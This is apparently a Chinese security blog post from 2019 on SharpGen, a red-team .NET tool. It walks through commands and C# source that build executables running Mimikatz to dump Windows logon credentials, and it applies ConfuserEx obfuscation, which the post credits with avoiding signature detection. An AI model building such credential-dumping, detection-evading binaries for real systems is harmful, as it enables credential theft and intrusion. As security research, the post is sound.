SharpGen利用分析

17 Oct 2019

0x00 前言

SharpGen是我认为特别棒的一个工具，它能够用来对其他.Net程序集进行整合、重组并加密，二次编译后可生成一个全新的工具

本文将要研究SharpGen的细节，介绍调用其他开源库的详细方法，分析利用思路

参考链接：

https://github.com/cobbr/SharpGen

https://cobbr.io/SharpGen.html

0x01 简介

本文将要介绍以下内容：

.NET Core开发环境搭建
功能介绍
调用其他开源库的方法
利用思路

0x02 .NET Core开发环境搭建

SharpGen使用.NET Core，优点是支持多平台(Linux，MacOS和Windows)

编程语言使用C#，利用Rosyln编译.NET Framework控制台应用程序或库

注：

Rosyln是一个.NET编译器平台，通过Scripting API，能够对脚本文件进行动态编译

测试系统：Win7x64

我在测试系统选择安装.NET Core 2.2.0、ASP.NET Core 2.2.0和SDK 2.2.101，这是为了兼容另一个工具Covenant

对应版本的下载链接如下：

https://dotnet.microsoft.com/download/thank-you/dotnet-sdk-2.2.101-windows-x64-installer

https://dotnet.microsoft.com/download/thank-you/dotnet-runtime-2.2.0-windows-x64-installer

https://dotnet.microsoft.com/download/thank-you/dotnet-runtime-2.2.0-windows-x64-asp.net-core-runtime-installer

安装Git for Windows，下载链接如下：

https://github.com/git-for-windows/git/releases/download/v2.23.0.windows.1/Git-2.23.0-64-bit.exe

下载安装并编译SharpGen：

git clone https://github.com/cobbr/SharpGen
cd SharpGen
dotnet build --configuration Release

0x03 基本功能介绍

SharpGen默认集成了SharpSploit，能够直接调用其中的功能

参数说明：

Options:
  -? | -h | --help                                     Show help information
  -f | --file <OUTPUT_FILE>                            The output file to write to.
  -d | --dotnet | --dotnet-framework <DOTNET_VERSION>  The Dotnet Framework version to target (net35 or net40).
  -o | --output-kind <OUTPUT_KIND>                     The OutputKind to use (console or dll).
  -p | --platform <PLATFORM>                           The Platform to use (AnyCpy, x86, or x64).
  -n | --no-optimization                               Don't use source code optimization.
  -a | --assembly-name <ASSEMBLY_NAME>                 The name of the assembly to be generated.
  -s | --source-file <SOURCE_FILE>                     The source code to compile.
  -c | --class-name <CLASS_NAME>                       The name of the class to be generated.
  --confuse <CONFUSEREX_PROJECT_FILE>                  The ConfuserEx ProjectFile configuration.

1.对单行代码进行编译

命令如下：

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());"

执行过程显示自动补齐的编译代码，如下图

Alt text

值得注意的是其中的随机类名ohq8r7eQ1qK，每次生成文件时使用的类名均会改变

注：

如果想指定类名，可以加入-c参数，示例如下：

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -c abcde12345 -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());" 

命令执行后生成example.exe，example.exe会调用Mimikatz的sekurlsa::logonpasswords命令

2.对完整代码文件进行编译

example.txt的内容如下：

using System;
using SharpSploit.Execution;
using SharpSploit.Credentials;

class Program
{
    static void Main()
    {
        Console.WriteLine(Mimikatz.LogonPasswords());
        return;
    }
}

命令如下：

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt

执行过程显示编译代码，如下图

Alt text

由于指定了类名为Program，所以不再具有随机类名的功能

注：

SharpGen使用了Rosyln进行动态编译，每次生成的文件hash都会不一样

0x04 高级功能

1.缩小生成文件的体积

(1)取消对指定dll的引用

编辑文件SharpGen/References/references.yml

此处的dll通常为C#程序使用的引用文件

不需要的dll名称属性由Enabled: true改为Enabled: false

(2)取消对指定dll的引用

编辑文件SharpGen/Resources/resources.yml

此处的dll为实现mimikatz的功能

不需要的dll名称属性由Enabled: true改为Enabled: false

注：

powerkatz_x64.dll为64位的mimikatz
powerkatz_x64.dll.comp为使用System.IO.Compression库压缩后的64位的mimikatz
powerkatz_x86.dll为32位的mimikatz
powerkatz_x86.dll.comp为使用System.IO.Compression库压缩后的32位的mimikatz

(3)使用ConfuserEx资源保护

ConfuserEx资源保护会对资源进行加密和LZMA压缩

示例命令如下：

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --confuse confuse.cr "Console.WriteLine(Mimikatz.LogonPasswords());"

2.调用其他开源库

参考资料中未介绍这部分内容，这里给出我的解决方法

这里给出两个示例，一个是开源的SharpWMI，另一个是我自己编写的模板SharpTest

1.添加对SharpWMI的调用

(1)将SharpWMI源码复制到SharpGen/Source

(2)修改SharpGen/SharpGen.csproj

ItemGroup标签中添加<Compile Remove="Source\SharpWMI\Program.cs" />

否则在编译SharpGen时会报错提示：

Source\SharpWMI\Program.cs(3,14): error CS0234: The type or namespace name 'Management' does not exist in the namespace 'System' (are you missing an assembly reference?)

(3)修改SharpWMI的源代码

只保留Program.cs，删除其中的Main函数并且将Program.cs中的每个静态方法改为公共方法

例如：

static void LocalWMIQuery(string wmiQuery, string wmiNameSpace = "")需要修改为public static void LocalWMIQuery(string wmiQuery, string wmiNameSpace = "")

(4)重新编译SharpGen

命令如下：

dotnet build --configuration Release

(5)调用测试

example.txt的功能为调用SharpWMI中的LocalWMIQuery方法查询win32_ComputerSystem，内容如下：

SharpWMI.Program.LocalWMIQuery("select * from win32_ComputerSystem");
Console.WriteLine(Host.GetProcessList());

SharpGen的命令如下：

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt

生成example.ex并执行，调用成功，如下图

Alt text

2.添加自己编写的C#模板

命名为SharpTest，功能为接收参数并在命令行输出

(1)新建文件夹SharpTest，其中新建文件Program.cs，内容如下：

using System;
using System.Collections.Generic;
using System.Management;
namespace SharpTest
{
    class Program
    {
        public static void TestMethod(string string1)
        {
            Console.WriteLine(string1);
        }
    }
}

(2)修改SharpGen/SharpGen.csproj

ItemGroup标签中添加<Compile Remove="Source\SharpTest\Program.cs" />

(3)重新编译SharpGen

命令如下：

dotnet build --configuration Release

(4)调用测试

example.txt的功能为调用SharpTest中的TestMethod方法，参数为123456，内容如下：

SharpTest.Program.TestMethod("123456");

SharpGen的命令如下：

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt

生成example.exe并执行，调用成功，如下图

Alt text

为了便于测试，我已经fork了cobbr的SharpGen，添加了对SharpWMI和SharpTest的调用，地址如下：

https://github.com/3gstudent/SharpGen

3.资源保护

使用新版的ConfuserEx能够对编译后的文件资源进行保护，地址如下：

https://github.com/mkaring/ConfuserEx

旧版的ConfuserEx不再进行维护，地址如下：

https://github.com/yck1509/ConfuserEx

调用命令示例：

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --confuse confuse.cr "Console.WriteLine(Mimikatz.LogonPasswords());"

对应使用的配置文件为SharpGen/confuse.cr

默认配置为对资源执行加密和LZMA压缩

ConfuserEx还支持其他保护功能：

Anti Debug Protection
Anti Dump Protection
Anti IL Dasm Protection
Anti Tamper Protection
Constants Protection
Control Flow Protection
Invalid Metadata Protection
Name Protection
Reference Proxy Protection
Resources Protection

只需要去掉SharpGen/confuse.cr中对应的注释即可

例如添加anti debug功能，配置文件confuse.cr的内容如下：

<project baseDir="{0}" outputDir="{1}" xmlns="http://confuser.codeplex.com">
    <module path="{2}">
      <rule pattern="true" inherit="false">
         <!-- <protection id="anti debug" />       -->
         <!-- <protection id="anti dump" />        -->
         <!-- <protection id="anti ildasm" />      -->
         <!-- <protection id="anti tamper" />      -->
         <!-- <protection id="constants" />        -->
         <!-- <protection id="ctrl flow" />        -->
         <!-- <protection id="invalid metadata" /> -->
         <!-- <protection id="ref proxy" />        -->
         <!-- <protection id="rename" />           -->
         <protection id="resources" />
         <protection id="anti debug" />
      </rule>
    </module>
</project>

4.补充：禁用优化

SharpGen在编译期间会对源代码进行优化，可通过--no-optimization参数来禁用优化，这将导致增加生成文件的大小

0x05 利用分析

SharpGen可以作为.Net程序集重新包装的平台，具有如下优点：

使用.NET Core平台和Roslyn进行动态编译，开发代码时可选择多平台(Linux，MacOS和Windows)
可调用其他开源库，实现功能的定制，最后将其封装成单独的一个exe文件或dll文件
使用ConfuserEx对资源进行加密和压缩，避免对特征码的检测
生成的文件支持.Net3.5和.Net 4.0
生成的文件支持x86和x64

更进一步，使用SharpGen能够快速的将.Net程序集形式的POC转换成EXP

0x06 小结

本文介绍了SharpGen的功能，分享了我实现调用其他开源库的方法，分析SharpGen的优点。

Good in study, attitude and health

Archive

About

RSS